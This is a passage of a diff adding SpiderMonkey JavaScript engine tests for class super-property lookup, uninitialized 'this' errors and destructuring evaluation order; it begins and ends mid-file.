+assertEq(x.prop4, 20);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropOrdering.js b/js/src/tests/non262/class/superPropOrdering.js
new file mode 100644
index 0000000000..1374d52c1c
--- /dev/null
+++ b/js/src/tests/non262/class/superPropOrdering.js
@@ -0,0 +1,93 @@
+class base {
+ constructor() { }
+ method() { this.methodCalled++; }
+}
+
+class derived extends base {
+ constructor() { super(); this.methodCalled = 0; }
+
+ // Test orderings of various evaluations relative to the superbase
+
+ // Unlike in regular element evaluation, the propVal is evaluated before
+ // checking the starting object ([[HomeObject]].[[Prototype]])
+ testElem() { super[ruin()]; }
+
+ // The starting object for looking up super.method is determined before
+ // ruin() is called.
+ testProp() { super.method(ruin()); }
+
+ // The entire super.method property lookup has concluded before the args
+ // are evaluated
+ testPropCallDeleted() { super.method(()=>delete base.prototype.method); }
+
+ // The starting object for looking up super["prop"] is determined before
+ // ruin() is called.
+ testElemAssign() { super["prop"] = ruin(); }
+
+ // Test the normal assignment gotchas
+ testAssignElemPropValChange() {
+ let x = "prop1";
+ super[x] = (()=>(x = "prop2", 0))();
+ assertEq(this.prop1, 0);
+ assertEq(this.prop2, undefined);
+ }
+
+ testAssignProp() {
+ Object.defineProperty(base.prototype, "piggy",
+ {
+ configurable: true,
+ set() { throw "WEE WEE WEE WEE"; }
+ });
+
+ // The property lookup is noted, but not actually evaluated, until the
+ // right hand side is. Please don't make the piggy cry.
+ super.piggy = (() => delete base.prototype.piggy)();
+ }
+ testCompoundAssignProp() {
+ let getterCalled = false;
+ Object.defineProperty(base.prototype, "horse",
+ {
+ configurable: true,
+ get() { getterCalled = true; return "Of course"; },
+ set() { throw "NO!"; }
+ });
+ super.horse += (()=>(delete base.prototype.horse, ", of course!"))();
+ assertEq(getterCalled, true);
+
+ // So, is a horse a horse?
+ assertEq(this.horse, "Of course, of course!");
+ }
+}
+
+function ruin() {
+ Object.setPrototypeOf(derived.prototype, null);
+ return 5;
+}
+
+function reset() {
+ Object.setPrototypeOf(derived.prototype, base.prototype);
+}
+
+let instance = new derived();
+assertThrowsInstanceOf(() => instance.testElem(), TypeError);
+reset();
+
+instance.testProp();
+assertEq(instance.methodCalled, 1);
+reset();
+
+instance.testPropCallDeleted();
+assertEq(instance.methodCalled, 2);
+
+instance.testElemAssign();
+assertEq(instance.prop, 5);
+reset();
+
+instance.testAssignElemPropValChange();
+
+instance.testAssignProp();
+
+instance.testCompoundAssignProp();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropProtoChanges.js b/js/src/tests/non262/class/superPropProtoChanges.js
new file mode 100644
index 0000000000..d16ca16659
--- /dev/null
+++ b/js/src/tests/non262/class/superPropProtoChanges.js
@@ -0,0 +1,22 @@
+class base {
+ constructor() { }
+ test() {
+ return false;
+ }
+}
+
+let standin = { test() { return true; } };
+
+class derived extends base {
+ constructor() { super(); }
+ test() {
+ assertEq(super.test(), false);
+ Object.setPrototypeOf(derived.prototype, standin);
+ assertEq(super["test"](), true);
+ }
+}
+
+new derived().test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropProxies.js b/js/src/tests/non262/class/superPropProxies.js
new file mode 100644
index 0000000000..3ec43b279c
--- /dev/null
+++ b/js/src/tests/non262/class/superPropProxies.js
@@ -0,0 +1,83 @@
+class base {
+ constructor() { }
+}
+
+let midStaticHandler = { };
+
+// We shouldn't use the |this.called| strategy here, since we have proxies
+// snooping property accesses.
+let getterCalled, setterCalled;
+
+class mid extends new Proxy(base, midStaticHandler) {
+ constructor() { super(); }
+ testSuperInProxy() {
+ super.prop = "looking";
+ assertEq(setterCalled, true);
+ assertEq(super.prop, "found");
+ assertEq(getterCalled, true);
+ }
+}
+
+class child extends mid {
+ constructor() { super(); }
+ static testStaticLookups() {
+ // This funtion is called more than once.
+ this.called = false;
+ super.prop;
+ assertEq(this.called, true);
+ }
+}
+
+let midInstance = new mid();
+
+// Make sure proxies are searched properly on the prototype chain
+let baseHandler = {
+ get(target, p, receiver) {
+ assertEq(receiver, midInstance);
+ getterCalled = true;
+ return "found";
+ },
+
+ set(t,p,val,receiver) {
+ assertEq(receiver, midInstance);
+ assertEq(val, "looking");
+ setterCalled = true;
+ return true;
+ }
+}
+Object.setPrototypeOf(base.prototype, new Proxy(Object.prototype, baseHandler));
+
+// make sure subclasses are not searched on static or super lookups.
+let childHandler = {
+ get() { throw "NO!"; },
+ set() { throw "NO!"; }
+}
+Object.setPrototypeOf(child.prototype, new Proxy(mid.prototype, childHandler));
+
+midInstance.testSuperInProxy();
+
+// Don't do this earlier to avoid the lookup of .prototype during class creation
+function midGet(target, p, receiver) {
+ assertEq(receiver, child);
+ receiver.called = true;
+}
+midStaticHandler.get = midGet;
+
+child.testStaticLookups();
+
+// Hey does super work in a proxy?
+assertEq(new Proxy(({ method() { return super.hasOwnProperty("method"); } }), {}).method(), true);
+
+// What about a CCW?
+var g = newGlobal();
+var wrappedSuper = g.eval("({ method() { return super.hasOwnProperty('method'); } })");
+assertEq(wrappedSuper.method(), true);
+
+// With a CCW on the proto chain?
+var wrappedBase = g.eval("({ method() { return this.__secretProp__; } })");
+var unwrappedDerived = { __secretProp__: 42, method() { return super.method(); } }
+Object.setPrototypeOf(unwrappedDerived, wrappedBase);
+assertEq(unwrappedDerived.method(), 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropSkips.js b/js/src/tests/non262/class/superPropSkips.js
new file mode 100644
index 0000000000..c9587c72f1
--- /dev/null
+++ b/js/src/tests/non262/class/superPropSkips.js
@@ -0,0 +1,45 @@
+// Ensure that super lookups and sets skip over properties on the |this| object.
+// That is, super lookups start with the superclass, not the current class.
+
+// The whole point: an empty superclass
+class base {
+ constructor() { }
+}
+
+class derived extends base {
+ constructor() { super(); this.prop = "flamingo"; }
+
+ toString() { throw "No!"; }
+
+ testSkipGet() {
+ assertEq(super.prop, undefined);
+ }
+
+ testSkipDerivedOverrides() {
+ assertEq(super["toString"](), Object.prototype.toString.call(this));
+ }
+
+ testSkipSet() {
+ // since there's no prop on the chain, we should set the data property
+ // on the receiver, |this|
+ super.prop = "rat";
+ assertEq(this.prop, "rat");
+
+ // Since the receiver is the instance, we can overwrite inherited
+ // properties of the instance, even non-writable ones, as they could be
+ // skipped in the super lookup.
+ assertEq(this.nonWritableProp, "pony");
+ super.nonWritableProp = "bear";
+ assertEq(this.nonWritableProp, "bear");
+ }
+}
+
+Object.defineProperty(derived.prototype, "nonWritableProp", { writable: false, value: "pony" });
+
+let instance = new derived();
+instance.testSkipGet();
+instance.testSkipDerivedOverrides();
+instance.testSkipSet();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropStatics.js b/js/src/tests/non262/class/superPropStatics.js
new file mode 100644
index 0000000000..32624b5d28
--- /dev/null
+++ b/js/src/tests/non262/class/superPropStatics.js
@@ -0,0 +1,34 @@
+class base {
+ constructor() { }
+ static found() {
+ this.foundCalled = true;
+ }
+ static get accessor() {
+ assertEq(this, derived);
+ return 45;
+ }
+ notFound() { }
+}
+
+class derived extends base {
+ constructor() { }
+
+ static found() { throw "NO!"; }
+ static get accessor() { throw "NO!"; }
+
+ static test() {
+ assertEq(super["notFound"], undefined);
+ super.found();
+
+ // foundCalled is set on |derived| specifically.
+ let calledDesc = Object.getOwnPropertyDescriptor(derived, "foundCalled");
+ assertEq(calledDesc.value, true);
+
+ assertEq(super.accessor, 45);
+ }
+}
+
+derived.test();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superPropStrictAssign.js b/js/src/tests/non262/class/superPropStrictAssign.js
new file mode 100644
index 0000000000..4b5444a3cf
--- /dev/null
+++ b/js/src/tests/non262/class/superPropStrictAssign.js
@@ -0,0 +1,23 @@
+// While |super| is common in classes, it also works in object litterals,
+// where there is no guarantee of strict mode. Check that we do not somehow
+// get strict mode semantics when they were not called for
+
+// |undefined|, writable: false
+Object.defineProperty(Object.prototype, "prop", { writable: false });
+
+class strictAssignmentTest {
+ constructor() {
+ // Strict mode. Throws.
+ super.prop = 14;
+ }
+}
+
+assertThrowsInstanceOf(()=>new strictAssignmentTest(), TypeError);
+
+// Non-strict. Silent failure.
+({ test() { super.prop = 14; } }).test();
+
+assertEq(Object.prototype.prop, undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superThisStrictNoBoxing.js b/js/src/tests/non262/class/superThisStrictNoBoxing.js
new file mode 100644
index 0000000000..f479ac036a
--- /dev/null
+++ b/js/src/tests/non262/class/superThisStrictNoBoxing.js
@@ -0,0 +1,31 @@
+class C {
+ get prop_this() { return this; }
+}
+
+var g_prop_this = 'prop_this';
+class D extends C {
+ super_prop() { return super.prop_this; }
+ super_elem() { return super[g_prop_this]; }
+}
+
+var barsym = Symbol("bar");
+
+// Test that primitive |this| values are not boxed, and undefined/null are not
+// globals for super.property.
+assertEq(new D().super_prop.call(3), 3);
+assertEq(new D().super_prop.call("foo"), "foo");
+assertEq(new D().super_prop.call(true), true);
+assertEq(new D().super_prop.call(barsym), barsym);
+assertEq(new D().super_prop.call(null), null);
+assertEq(new D().super_prop.call(undefined), undefined);
+
+// Ditto for super[elem]
+assertEq(new D().super_elem.call(3), 3);
+assertEq(new D().super_elem.call("foo"), "foo");
+assertEq(new D().super_elem.call(true), true);
+assertEq(new D().super_elem.call(barsym), barsym);
+assertEq(new D().super_elem.call(null), null);
+assertEq(new D().super_elem.call(undefined), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/class/uninitializedThisError.js b/js/src/tests/non262/class/uninitializedThisError.js
new file mode 100644
index 0000000000..658ef8002c
--- /dev/null
+++ b/js/src/tests/non262/class/uninitializedThisError.js
@@ -0,0 +1,53 @@
+function checkErr(f) {
+ var expected = "must call super constructor before using 'this' in derived class constructor";
+ try {
+ f();
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq(e.name, "ReferenceError");
+ assertEq(e.message, expected);
+ }
+}
+class TestNormal extends class {} {
+ constructor() { this; }
+}
+checkErr(() => new TestNormal());
+
+class TestEval extends class {} {
+ constructor() { eval("this") }
+}
+checkErr(() => new TestEval());
+
+class TestNestedEval extends class {} {
+ constructor() { eval("eval('this')") }
+}
+checkErr(() => new TestNestedEval());
+
+checkErr(() => {
+ new class extends class {} {
+ constructor() { eval("this") }
+ }
+});
+
+class TestArrow extends class {} {
+ constructor() { (() => this)(); }
+}
+checkErr(() => new TestArrow());
+
+class TestArrowEval extends class {} {
+ constructor() { (() => eval("this"))(); }
+}
+checkErr(() => new TestArrowEval());
+
+class TestEvalArrow extends class {} {
+ constructor() { eval("(() => this)()"); }
+}
+checkErr(() => new TestEvalArrow());
+
+class TestTypeOf extends class {} {
+ constructor() { eval("typeof this"); }
+}
+checkErr(() => new TestTypeOf());
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/comprehensions/browser.js b/js/src/tests/non262/comprehensions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/comprehensions/browser.js
diff --git a/js/src/tests/non262/comprehensions/shell.js b/js/src/tests/non262/comprehensions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/comprehensions/shell.js
diff --git a/js/src/tests/non262/destructuring/array-default-class.js b/js/src/tests/non262/destructuring/array-default-class.js
new file mode 100644
index 0000000000..5aa9c579b1
--- /dev/null
+++ b/js/src/tests/non262/destructuring/array-default-class.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1322314;
+var summary = "Function in computed property in class expression in array destructuring default";
+
+print(BUGNUMBER + ": " + summary);
+
+function* g([
+ a = class E {
+ [ (function() { return "foo"; })() ]() {
+ return 10;
+ }
+ }
+]) {
+ yield a;
+}
+
+let C = [...g([])][0];
+let x = new C();
+assertEq(x.foo(), 10);
+
+C = [...g([undefined])][0];
+x = new C();
+assertEq(x.foo(), 10);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/array-iterator-close.js b/js/src/tests/non262/destructuring/array-iterator-close.js
new file mode 100644
index 0000000000..ed35135dba
--- /dev/null
+++ b/js/src/tests/non262/destructuring/array-iterator-close.js
@@ -0,0 +1,93 @@
+// Tests that IteratorClose is called in array destructuring patterns.
+
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var iterable = {};
+
+ // empty [] calls IteratorClose regardless of "done" on the result.
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ return { done: true };
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ var [] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ var [] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // Non-empty destructuring calls IteratorClose if iterator is not done by
+ // the end of destructuring.
+ var [a,b] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+ var [c,] = iterable;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in lhs ref calls IteratorClose
+ function throwlhs() {
+ throw "in lhs";
+ }
+ assertThrowsValue(function() {
+ 0, [...{}[throwlhs()]] = iterable;
+ }, "in lhs");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in lhs ref calls IteratorClose with falsy "done".
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ // "done" is undefined.
+ return {};
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ assertThrowsValue(function() {
+ 0, [...{}[throwlhs()]] = iterable;
+ }, "in lhs");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in iter.next doesn't call IteratorClose
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ throw "in next";
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ assertThrowsValue(function() {
+ var [d] = iterable;
+ }, "in next");
+ assertEq(returnCalled, returnCalledExpected);
+
+ // "return" must return an Object.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return 42;
+ }
+ });
+ assertThrowsInstanceOf(function() {
+ var [] = iterable;
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/browser.js b/js/src/tests/non262/destructuring/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/destructuring/browser.js
diff --git a/js/src/tests/non262/destructuring/bug1396261.js b/js/src/tests/non262/destructuring/bug1396261.js
new file mode 100644
index 0000000000..5d16b09323
--- /dev/null
+++ b/js/src/tests/non262/destructuring/bug1396261.js
@@ -0,0 +1,44 @@
+// Ensure array or object literals with trailing property accessors are not
+// treated as nested destructuring patterns in assignment destructuring
+// contexts.
+
+// Array destructuring with normal element.
+[{a: 0}.x] = [];
+[[0].x] = [];
+
+// Array destructuring with spread element.
+[...{a: 0}.x] = [];
+[...[0].x] = [];
+
+// Object destructuring with normal property.
+({a: {b: 0}.x} = {});
+({a: [0].x} = {});
+
+// Object destructuring with spread property.
+({...{b: 0}.x} = {});
+({...[0].x} = {});
+
+// Object literal with initializer shorthand in destructuring context.
+assertThrowsInstanceOf(() => Function(`[{a = 0}.x] = [];`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`[...{a = 0}.x] = [];`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`({a: {b = 0}.x} = {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`({...{b = 0}.x} = {});`), SyntaxError);
+
+// Object destructuring with "eval" or "arguments" shorthand in strict mode.
+(function() {
+ "use strict";
+
+ // Ensure "eval" resp. "arguments" is not treated as an assignment.
+ [{eval}.x] = [];
+ [...{eval}.x] = [];
+ ({a: {eval}.x} = {});
+ ({...{eval}.x} = {});
+
+ [{arguments}.x] = [];
+ [...{arguments}.x] = [];
+ ({a: {arguments}.x} = {});
+ ({...{arguments}.x} = {});
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/constant-folding.js b/js/src/tests/non262/destructuring/constant-folding.js
new file mode 100644
index 0000000000..b5aa893215
--- /dev/null
+++ b/js/src/tests/non262/destructuring/constant-folding.js
@@ -0,0 +1,16 @@
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { eval(code); }, SyntaxError, "eval:" + code);
+ var ieval = eval;
+ assertThrowsInstanceOf(function () { ieval(code); }, SyntaxError, "indirect eval:" + code);
+}
+
+// |true && a| is constant-folded to |a|, ensure the destructuring assignment
+// validation takes place before constant-folding.
+for (let prefix of ["null,", "var", "let", "const"]) {
+ assertSyntaxError(`${prefix} [true && a] = [];`);
+ assertSyntaxError(`${prefix} {p: true && a} = {};`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/destructuring/cover-init-name-syntax.js b/js/src/tests/non262/destructuring/cover-init-name-syntax.js
new file mode 100644
index 0000000000..b37d8c2904
--- /dev/null
+++ b/js/src/tests/non262/destructuring/cover-init-name-syntax.js
@@ -0,0 +1,72 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// CoverInitName in arrow parameters.
+({a = 1}, {b = 2}, {c = 3}) => {};
+({a = 1} = {}, {b = 2}, {c = 3}) => {};
+({a = 1} = {}, {b = 2} = {}, {c = 3}) => {};
+({a = 1} = {}, {b = 2} = {}, {c = 3} = {}) => {};
+
+
+// CoverInitName in CoverParenthesizedExpressionAndArrowParameterList,
+// but not ArrowParameters.
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+
+// CoverInitName nested in array destructuring.
+[{a = 0}] = [{}];
+var [{a = 0}] = [{}];
+{ let [{a = 0}] = [{}]; }
+{ const [{a = 0}] = [{}]; }
+
+for ([{a = 0}] of []);
+for (var [{a = 0}] of []);
+for (let [{a = 0}] of []);
+for (const [{a = 0}] of []);
+
+function f([{a = 0}]) {}
+var h = ([{a = 0}]) => {};
+
+
+// CoverInitName nested in rest pattern.
+[...[{a = 0}]] = [{}];
+var [...[{a = 0}]] = [{}];
+{ let [...[{a = 0}]] = [{}]; }
+{ const [...[{a = 0}]] = [{}]; }
+
+for ([...[{a = 0}]] of []);
+for (var [...[{a = 0}]] of []);
+for (let [...[{a = 0}]] of []);
+for (const [...[{a = 0}]] of []);
+
+function f([...[{a = 0}]]) {}
+var h = ([...[{a = 0}]]) => {};
+
+
+// CoverInitName nested in object destructuring.
+({p: {a = 0}} = {p: {}});
+var {p: {a = 0}} = {p: {}};
+{ let {p: {a = 0}} = {p: {}}; }
+{ const {p: {a = 0}} = {p: {}}; }
+
+for ({p: {a = 0}} of []);
+for (var {p: {a = 0}} of []);
+for (let {p: {a = 0}} of []);
+for (const {p: {a = 0}} of []);
+
+function f({p: {a = 0}}) {}
+var h = ({p: {a = 0}}) => {};
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/duplicate-__proto__.js b/js/src/tests/non262/destructuring/duplicate-__proto__.js
new file mode 100644
index 0000000000..a8f76014e9
--- /dev/null
+++ b/js/src/tests/non262/destructuring/duplicate-__proto__.js
@@ -0,0 +1,54 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring assignment.
+var a, b;
+({__proto__: a, __proto__: b} = {});
+assertEq(a, Object.prototype);
+assertEq(b, Object.prototype);
+
+// Destructuring binding with "var".
+var {__proto__: a, __proto__: b} = {};
+assertEq(a, Object.prototype);
+assertEq(b, Object.prototype);
+
+// Destructuring binding with "let".
+{
+ let {__proto__: a, __proto__: b} = {};
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+
+// Destructuring binding with "const".
+{
+ const {__proto__: a, __proto__: b} = {};
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+
+// Function parameters.
+function f1({__proto__: a, __proto__: b}) {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+}
+f1({});
+
+// Arrow function parameters.
+var f2 = ({__proto__: a, __proto__: b}) => {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+};
+f2({});
+
+// Arrow function parameters with defaults (initially parsed as destructuring assignment).
+var f3 = ({__proto__: a, __proto__: b} = {}) => {
+ assertEq(a, Object.prototype);
+ assertEq(b, Object.prototype);
+};
+f3({});
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/iterator-primitive.js b/js/src/tests/non262/destructuring/iterator-primitive.js
new file mode 100644
index 0000000000..17d100367c
--- /dev/null
+++ b/js/src/tests/non262/destructuring/iterator-primitive.js
@@ -0,0 +1,36 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+function f([]) {
+}
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ let [] = obj;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ [] = obj;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ f(obj);
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/order-super.js b/js/src/tests/non262/destructuring/order-super.js
new file mode 100644
index 0000000000..2bc534e23f
--- /dev/null
+++ b/js/src/tests/non262/destructuring/order-super.js
@@ -0,0 +1,701 @@
+var BUGNUMBER = 1204028;
+var summary = "Destructuring should evaluate lhs reference before rhs in super property";
+
+if (typeof assertEq === "undefined") {
+ assertEq = function(a, b) {
+ if (a !== b)
+ throw new Error(`expected ${b}, got ${a}\n${new Error().stack}`);
+ };
+}
+
+print(BUGNUMBER + ": " + summary);
+
+let logs = [];
+function log(x) {
+ logs.push(x);
+}
+
+let unwrapMap = new Map();
+function unwrap(maybeWrapped) {
+ if (unwrapMap.has(maybeWrapped))
+ return unwrapMap.get(maybeWrapped);
+ return maybeWrapped;
+}
+function ToString(name) {
+ if (name == Symbol.iterator)
+ return "@@iterator";
+ return String(name);
+}
+function logger(obj, prefix=[]) {
+ let wrapped = new Proxy(obj, {
+ get(that, name) {
+ if (name == "return") {
+ // FIXME: Bug 1147371.
+ // We ignore IteratorClose for now.
+ return obj[name];
+ }
+
+ let names = prefix.concat(ToString(name));
+ log("rhs get " + names.join("::"));
+ let v = obj[name];
+ if (typeof v === "object" || typeof v === "function")
+ return logger(v, names);
+ return v;
+ },
+ apply(that, thisArg, args) {
+ let names = prefix.slice();
+ log("rhs call " + names.join("::"));
+ let v = obj.apply(unwrap(thisArg), args);
+ if (typeof v === "object" || typeof v === "function") {
+ names[names.length - 1] += "()";
+ return logger(v, names);
+ }
+ return v;
+ }
+ });
+ unwrapMap.set(wrapped, obj);
+ return wrapped;
+}
+
+class C1 {
+ constructor() {
+ this.clear();
+ }
+ clear() {
+ this.values = {};
+ }
+}
+for (let name of [
+ "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
+ "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
+ "0", "1", "length"
+]) {
+ Object.defineProperty(C1.prototype, name, {
+ set: function(value) {
+ log("lhs set " + name);
+ this.values[name] = value;
+ }
+ });
+}
+class C2 extends C1 {
+ constructor() {
+ super();
+
+ let clear = () => {
+ logs = [];
+ this.clear();
+ };
+
+ // Array.
+
+ clear();
+ [
+ super.a
+ ] = logger(["A"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ clear();
+ [
+ super[ (log("lhs before name a"), "a") ]
+ ] = logger(["A"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ // Array rest.
+
+ clear();
+ [
+ ...super.a
+ ] = logger(["A", "B", "C"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a.join(","), "A,B,C");
+
+ clear();
+ [
+ ...super[ (log("lhs before name a"), "a") ]
+ ] = logger(["A", "B", "C"]);;
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a.join(","), "A,B,C");
+
+ // Array combined.
+
+ clear();
+ [
+ super.a,
+ super[ (log("lhs before name b"), "b") ],
+ ...super[ (log("lhs before name c"), "c") ]
+ ] = logger(["A", "B", "C"]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before name b",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "lhs set b",
+
+ "lhs before name c",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "lhs set c",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b, "B");
+ assertEq(this.values.c.join(","), "C");
+
+ // Object.
+
+ clear();
+ ({
+ a: super.a
+ } = logger({a: "A"}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ clear();
+ ({
+ a: super[ (log("lhs before name a"), "a") ]
+ } = logger({a: "A"}));
+ assertEq(logs.join(","),
+ [
+ "lhs before name a",
+ "rhs get a",
+ "lhs set a",
+ ].join(","));
+ assertEq(this.values.a, "A");
+
+ // Object combined.
+
+ clear();
+ ({
+ a: super.a,
+ b: super[ (log("lhs before name b"), "b") ]
+ } = logger({a: "A", b: "B"}));
+ assertEq(logs.join(","),
+ [
+ "rhs get a",
+ "lhs set a",
+
+ "lhs before name b",
+ "rhs get b",
+ "lhs set b",
+ ].join(","));
+ assertEq(this.values.a, "A");
+ assertEq(this.values.b, "B");
+
+ // == Nested ==
+
+ // Array -> Array
+
+ clear();
+ [
+ [
+ super[ (log("lhs before name a"), "a") ],
+ ...super[ (log("lhs before name b"), "b") ]
+ ]
+ ] = logger([["A", "B"]]);
+ assertEq(logs.join(","),
+ [
+ "rhs get @@iterator",
+ "rhs call @@iterator",
+ "rhs get @@iterator()::next",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before name a",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set a",
+
+ "lhs before name b",
